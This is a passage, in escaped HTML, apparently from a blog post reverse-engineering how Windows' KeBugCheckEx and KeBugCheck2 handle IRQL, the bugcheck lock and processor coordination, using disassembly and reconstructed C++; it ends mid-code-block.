&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C1131&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r10&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;98&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;r8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C1138&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r10&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;F8h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;r9&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then it saves the IRQL of the caller into KPRCB.DebuggerSavedIRQL, raises the IRQL to DISPATCH_LEVEL to make sure execution does not switch between processors and enables interrupts if caller had them enabled.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-asm" data-lang="asm"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C113F&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;cr8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C1143&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;gs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="no"&gt;D18h&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;al&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C114B&lt;/span&gt; &lt;span class="no"&gt;cmp&lt;/span&gt; &lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C114D&lt;/span&gt; &lt;span class="no"&gt;jge&lt;/span&gt; &lt;span class="no"&gt;short&lt;/span&gt; &lt;span class="no"&gt;IrqlAlreadyAboveDispatchLevel&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C114F&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C1154&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;cr8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C1158&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C1158&lt;/span&gt; &lt;span class="no"&gt;IrqlAlreadyAboveDispatchLevel&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="c1"&gt;; CODE XREF: .text:00000001401C114D↑j
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C1158&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C115D&lt;/span&gt; &lt;span class="no"&gt;and&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C1163&lt;/span&gt; &lt;span class="no"&gt;jz&lt;/span&gt; &lt;span class="no"&gt;short&lt;/span&gt; &lt;span class="no"&gt;CallerInterruptsDisabled&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C1165&lt;/span&gt; &lt;span class="no"&gt;sti&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C1166&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C1166&lt;/span&gt; &lt;span class="no"&gt;CallerInterruptsDisabled&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="c1"&gt;; CODE XREF: .text:00000001401C1163↑j&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Afterwards it increments the volatile integer KiHardwareTrigger and simply redirects to KeBugCheck2.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-asm" data-lang="asm"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C1166&lt;/span&gt; &lt;span class="no"&gt;lock&lt;/span&gt; &lt;span class="no"&gt;inc&lt;/span&gt; &lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;KiHardwareTrigger&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C116D&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C1172&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;qword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C117B&lt;/span&gt; &lt;span class="no"&gt;lea&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;KeBugCheckRetPtr&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C1182&lt;/span&gt; &lt;span class="no"&gt;cmp&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C1187&lt;/span&gt; &lt;span class="no"&gt;jz&lt;/span&gt; &lt;span class="no"&gt;short&lt;/span&gt; &lt;span class="no"&gt;KeBugCheck_Call&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C1189&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C118E&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C1193&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;58&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C1198&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C119D&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C11A2&lt;/span&gt; &lt;span class="no"&gt;call&lt;/span&gt; &lt;span class="no"&gt;KeBugCheck2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C11A2&lt;/span&gt; &lt;span class="c1"&gt;; ---------------------------------------------------------------------------
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C11A7&lt;/span&gt; &lt;span class="no"&gt;align&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C11A8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C11A8&lt;/span&gt; &lt;span class="no"&gt;KeBugCheck_Call&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="c1"&gt;; CODE XREF: .text:00000001401C1187↑j
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C11A8&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;qword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C11B1&lt;/span&gt; &lt;span class="no"&gt;xor&lt;/span&gt; &lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;r9d&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C11B4&lt;/span&gt; &lt;span class="no"&gt;xor&lt;/span&gt; &lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;r8d&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C11B7&lt;/span&gt; &lt;span class="no"&gt;xor&lt;/span&gt; &lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;edx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C11B9&lt;/span&gt; &lt;span class="no"&gt;call&lt;/span&gt; &lt;span class="no"&gt;KeBugCheck2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;KeBugCheck2 implementation varies a lot depending on the Windows version but we mostly care about the shared logic. All implementations start with trying to acquire the KiBugCheckActive lock as described here:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;union&lt;/span&gt; &lt;span class="nc"&gt;BUGCHECK_STATE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;volatile&lt;/span&gt; &lt;span class="n"&gt;LONG&lt;/span&gt; &lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;struct&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;volatile&lt;/span&gt; &lt;span class="n"&gt;LONG&lt;/span&gt; &lt;span class="nl"&gt;Active&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// If active set to 0b111, otherwise 0b000. Not sure about what each flag means.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;volatile&lt;/span&gt; &lt;span class="n"&gt;LONG&lt;/span&gt; &lt;span class="nl"&gt;Unknown&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// = (UninitializedDwordOnStack &amp;amp; 0x1E) &amp;amp; 1, what ???
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;volatile&lt;/span&gt; &lt;span class="n"&gt;LONG&lt;/span&gt; &lt;span class="nl"&gt;OwnerProcessorIndex&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Processor index of the processor that initiated BugCheck state
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;};&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;A flag is set to indicate whether the current processor is the master processor or slave depending on whether it acquired the lock succesfully and things start to get interesting afterwards.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Windows 8 and 8.1:&lt;/strong&gt; (8 just doesn&amp;rsquo;t have the HalTimerWatchdogStop call)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// We will come back to this later...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;IsMaster&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;goto&lt;/span&gt; &lt;span class="n"&gt;HowAmISupposedToQuitFromThisSpinlockLol&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// Call HalTimerWatchdogStop from HalPrivateDispatchTable
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;HalPrivateDispatchTable&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HalTimerWatchdogStop&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// Mask 0x4000 off HV enlightenments
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;HvlEnlightenments&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;=&lt;/span&gt; &lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="mh"&gt;0x4000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// KiNmiInProgress checks
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;NmiFlag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;NmiIdx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;KiNmiInProgress&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
